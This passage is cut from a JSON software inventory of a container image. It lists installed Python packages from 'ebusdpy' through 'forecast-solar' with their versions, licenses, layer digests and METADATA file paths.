"MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ebusdpy-0.0.17.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ecdsa", "Identifier": { "PURL": "pkg:pypi/ecdsa@0.19.2", "UID": "e9481f023a0746cd" }, "Version": "0.19.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ecdsa-0.19.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ecoaliface", "Identifier": { "PURL": "pkg:pypi/ecoaliface@0.4.0", "UID": "7504407404922ea5" }, "Version": "0.4.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ecoaliface-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "egauge-async", "Identifier": { "PURL": "pkg:pypi/egauge-async@0.4.0", "UID": "4a3c39242214eb5e" }, "Version": "0.4.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/egauge_async-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "eheimdigital", "Identifier": { "PURL": "pkg:pypi/eheimdigital@1.7.0", "UID": "c1602e9ce5555f87" }, "Version": "1.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/eheimdigital-1.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ekey-bionyxpy", "Identifier": { "PURL": "pkg:pypi/ekey-bionyxpy@1.0.1", "UID": "65bc1199f687bf74" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ekey_bionyxpy-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "electrickiwi-api", "Identifier": { "PURL": "pkg:pypi/electrickiwi-api@0.9.14", "UID": "600dd1976ac52702" }, "Version": "0.9.14", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/electrickiwi_api-0.9.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elementpath", "Identifier": { "PURL": "pkg:pypi/elementpath@5.1.3", "UID": "794a0da7a55c5416" }, "Version": "5.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elementpath-5.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elevenlabs", "Identifier": { "PURL": "pkg:pypi/elevenlabs@2.51.0", "UID": "f9e51ef4b6e8fffb" }, "Version": "2.51.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elevenlabs-2.51.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elgato", "Identifier": { "PURL": "pkg:pypi/elgato@5.1.2", "UID": "aec1b37e83dfd2b9" }, "Version": "5.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elgato-5.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elkm1-lib", "Identifier": { "PURL": "pkg:pypi/elkm1-lib@2.2.15", "UID": "83e42d16a88231e8" }, "Version": "2.2.15", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elkm1_lib-2.2.15.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elkoep-aio-mqtt", "Identifier": { "PURL": "pkg:pypi/elkoep-aio-mqtt@0.1.0b4", "UID": "2d7f28eb5e1883c" }, "Version": "0.1.0b4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elkoep_aio_mqtt-0.1.0b4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elmax_api", "Identifier": { "PURL": "pkg:pypi/elmax-api@0.0.6.4rc0", "UID": "84a0a47cf78d34d2" }, "Version": "0.0.6.4rc0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elmax_api-0.0.6.4rc0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "elvia", "Identifier": { "PURL": "pkg:pypi/elvia@0.1.0", "UID": "8cbdcb0138ffbb49" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/elvia-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "emoji", "Identifier": { "PURL": "pkg:pypi/emoji@2.8.0", "UID": "4fbb241da38d44cf" }, "Version": "2.8.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/emoji-2.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "emulated-roku", "Identifier": { "PURL": "pkg:pypi/emulated-roku@0.3.0", "UID": "735c33706af52c42" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/emulated_roku-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "energieleser", "Identifier": { "PURL": "pkg:pypi/energieleser@0.1.4", "UID": "bdbb599541d47c18" }, "Version": "0.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/energieleser-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "energyflip-client", "Identifier": { "PURL": "pkg:pypi/energyflip-client@0.2.2", "UID": "76488f73c306a5d2" }, "Version": "0.2.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/energyflip_client-0.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "energyid-webhooks", "Identifier": { "PURL": "pkg:pypi/energyid-webhooks@0.0.14", "UID": "d8cc3a6e0ccb6bf2" }, "Version": "0.0.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/energyid_webhooks-0.0.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "energyzero", "Identifier": { "PURL": "pkg:pypi/energyzero@4.0.1", "UID": "d34ea4a2d443543b" }, "Version": "4.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/energyzero-4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "enocean_async", "Identifier": { "PURL": "pkg:pypi/enocean-async@0.4.2", "UID": "a7862f6dd3903994" }, "Version": "0.4.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/enocean_async-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "enturclient", "Identifier": { "PURL": "pkg:pypi/enturclient@0.2.4", "UID": "c39c3258469e51ff" }, "Version": "0.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/enturclient-0.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "enum-compat", "Identifier": { "PURL": "pkg:pypi/enum-compat@0.0.3", "UID": "fcb6aa765e98eb02" }, "Version": "0.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/enum_compat-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "env_canada", "Identifier": { "PURL": "pkg:pypi/env-canada@0.15.0", "UID": "a168cb21820161fe" }, "Version": "0.15.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/env_canada-0.15.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "envoy-utils", "Identifier": { "PURL": "pkg:pypi/envoy-utils@0.0.1", "UID": "afc54dae6ad73ea7" }, "Version": "0.0.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/envoy_utils-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "envs", "Identifier": { "PURL": "pkg:pypi/envs@1.4", "UID": "6ef9e23d3db8ed59" }, "Version": "1.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/envs-1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "epaper-dithering", "Identifier": { "PURL": "pkg:pypi/epaper-dithering@5.0.6", "UID": "2c63709d96f00054" }, "Version": "5.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/epaper_dithering-5.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ephem", "Identifier": { "PURL": "pkg:pypi/ephem@4.1.6", "UID": "536ee5d4aba442b5" }, "Version": "4.1.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ephem-4.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "epicstore_api", "Identifier": { "PURL": "pkg:pypi/epicstore-api@0.1.9", "UID": "c94346f97d0a0b2d" }, "Version": "0.1.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/epicstore_api-0.1.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "epion", "Identifier": { "PURL": "pkg:pypi/epion@0.0.3", "UID": "bb433c88448ee58b" }, "Version": "0.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/epion-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "epson_projector", "Identifier": { "PURL": "pkg:pypi/epson-projector@0.6.0", "UID": "d20849b559e34251" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/epson_projector-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "eq3btsmart", "Identifier": { "PURL": "pkg:pypi/eq3btsmart@2.3.0", "UID": "f85e932b4abea7cc" }, "Version": "2.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/eq3btsmart-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "esios-api", "Identifier": { "PURL": "pkg:pypi/esios-api@4.4.0", "UID": "d2b8839e4fa8591e" }, "Version": "4.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/esios_api-4.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "esphome-dashboard-api", "Identifier": { "PURL": "pkg:pypi/esphome-dashboard-api@1.3.0", "UID": "6a57ea7fb47d475f" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/esphome_dashboard_api-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "esprima", "Identifier": { "PURL": "pkg:pypi/esprima@4.0.1", "UID": "f70dfaa045d4d836" }, "Version": "4.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/esprima-4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "essent-dynamic-pricing", "Identifier": { "PURL": "pkg:pypi/essent-dynamic-pricing@0.3.1", "UID": "97512bdc88ac3e92" }, "Version": "0.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/essent_dynamic_pricing-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "eternalegypt", "Identifier": { "PURL": "pkg:pypi/eternalegypt@0.0.18", "UID": "1418ee4bb926f352" }, "Version": "0.0.18", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/eternalegypt-0.0.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "eufylife-ble-client", "Identifier": { "PURL": "pkg:pypi/eufylife-ble-client@0.1.10", "UID": "fdc7664ef6db34ad" }, "Version": "0.1.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/eufylife_ble_client-0.1.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "eurotronic-cometblue-ha", "Identifier": { "PURL": "pkg:pypi/eurotronic-cometblue-ha@1.4.0", "UID": "ec2e3b56e8d645c5" }, "Version": "1.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/eurotronic_cometblue_ha-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "evohome-async", "Identifier": { "PURL": "pkg:pypi/evohome-async@1.2.0", "UID": "a89deb6f93643277" }, "Version": "1.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/evohome_async-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "evolutionhttp", "Identifier": { "PURL": "pkg:pypi/evolutionhttp@0.0.19", "UID": "ff6aeda234c36720" }, "Version": "0.0.19", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/evolutionhttp-0.0.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "exceptiongroup", "Identifier": { "PURL": "pkg:pypi/exceptiongroup@1.3.1", "UID": "206133d1c2d9c7f8" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/exceptiongroup-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "faadelays", "Identifier": { "PURL": "pkg:pypi/faadelays@2023.9.1", "UID": "42cb137635176306" }, "Version": "2023.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/faadelays-2023.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fake-useragent", "Identifier": { "PURL": "pkg:pypi/fake-useragent@2.2.0", "UID": "377125532970cabe" }, "Version": "2.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fake_useragent-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fastdotcom", "Identifier": { "PURL": "pkg:pypi/fastdotcom@0.0.6", "UID": "6a776147812188e3" }, "Version": "0.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fastdotcom-0.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "faust-cchardet", "Identifier": { "PURL": "pkg:pypi/faust-cchardet@2.1.19", "UID": "af53eac9e4de192e" }, "Version": "2.1.19", "Licenses": [ "MPL-1.1", "GPL-3.0-or-later", "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd" }, "FilePath": "usr/local/lib/python3.14/site-packages/faust_cchardet-2.1.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "feedparser", "Identifier": { "PURL": "pkg:pypi/feedparser@6.0.12", "UID": "2d440590a329db00" }, "Version": "6.0.12", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/feedparser-6.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fido2", "Identifier": { "PURL": "pkg:pypi/fido2@2.2.1", "UID": "6649d9557317e3c3" }, "Version": "2.2.1", "Licenses": [ "BSD-3-Clause", "Apache-2.0", "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fido2-2.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "file-read-backwards", "Identifier": { "PURL": "pkg:pypi/file-read-backwards@2.0.0", "UID": "2371f907f201ce7b" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/file_read_backwards-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "filelock", "Identifier": { "PURL": "pkg:pypi/filelock@3.29.7", "UID": "ec3bc156747b04c4" }, "Version": "3.29.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/filelock-3.29.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fing_agent_api", "Identifier": { "PURL": "pkg:pypi/fing-agent-api@1.1.0", "UID": "b4bd39e4be48530" }, "Version": "1.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fing_agent_api-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fints", "Identifier": { "PURL": "pkg:pypi/fints@3.1.0", "UID": "c4fb62662dc52ec6" }, "Version": "3.1.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fints-3.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "firebase-messaging", "Identifier": { "PURL": "pkg:pypi/firebase-messaging@0.4.5", "UID": "d3fbdcb009b4db96" }, "Version": "0.4.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/firebase_messaging-0.4.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fish-audio-sdk", "Identifier": { "PURL": "pkg:pypi/fish-audio-sdk@1.1.0", "UID": "8dbc7b383179e7fb" }, "Version": "1.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fish_audio_sdk-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fitbit", "Identifier": { "PURL": "pkg:pypi/fitbit@0.3.1", "UID": "c7c9741c09df5ff2" }, "Version": "0.3.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fitbit-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fitbit-web-api", "Identifier": { "PURL": "pkg:pypi/fitbit-web-api@2.13.5", "UID": "f5a819c7924d67e0" }, "Version": "2.13.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fitbit_web_api-2.13.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fivem-api", "Identifier": { "PURL": "pkg:pypi/fivem-api@0.1.2", "UID": "ad56ac871ddc97d6" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fivem_api-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fixerio", "Identifier": { "PURL": "pkg:pypi/fixerio@1.0.0a0", "UID": "f3db47e7cbbf9d87" }, "Version": "1.0.0a0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fixerio-1.0.0a0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fjaraskupan", "Identifier": { "PURL": "pkg:pypi/fjaraskupan@2.3.4", "UID": "39a676b8d5efbd4e" }, "Version": "2.3.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fjaraskupan-2.3.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "flexcache", "Identifier": { "PURL": "pkg:pypi/flexcache@0.3", "UID": "ea62a2808118d7c3" }, "Version": "0.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/flexcache-0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "flexit_bacnet", "Identifier": { "PURL": "pkg:pypi/flexit-bacnet@2.2.3", "UID": "9e5973d130e1ef34" }, "Version": "2.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/flexit_bacnet-2.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "flexparser", "Identifier": { "PURL": "pkg:pypi/flexparser@0.4", "UID": "f6f4ddee626a2fa4" }, "Version": "0.4", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/flexparser-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "flipr-api", "Identifier": { "PURL": "pkg:pypi/flipr-api@1.6.1", "UID": "c50b853fba4e0e" }, "Version": "1.6.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/flipr_api-1.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fluss_api", "Identifier": { "PURL": "pkg:pypi/fluss-api@0.2.5", "UID": "8248fc07dca64fa6" }, "Version": "0.2.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fluss_api-0.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "flux_led", "Identifier": { "PURL": "pkg:pypi/flux-led@1.2.0", "UID": "5e19f69128674890" }, "Version": "1.2.0", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/flux_led-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fnv-hash-fast", "Identifier": { "PURL": "pkg:pypi/fnv-hash-fast@2.0.3", "UID": "49801138494c666b" }, "Version": "2.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/fnv_hash_fast-2.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fnvhash", "Identifier": { "PURL": "pkg:pypi/fnvhash@0.2.1", "UID": "6b341532607cb70f" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/fnvhash-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "foobot_async", "Identifier": { "PURL": "pkg:pypi/foobot-async@1.0.1", "UID": "d7e11dde219b4c67" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/foobot_async-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "forecast-solar", "Identifier": { "PURL": "pkg:pypi/forecast-solar@5.0.1", "UID": "801db3c4dd4156cf" }, "Version": "5.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/forecast_solar-5.0.1.dist-info/METADATA", 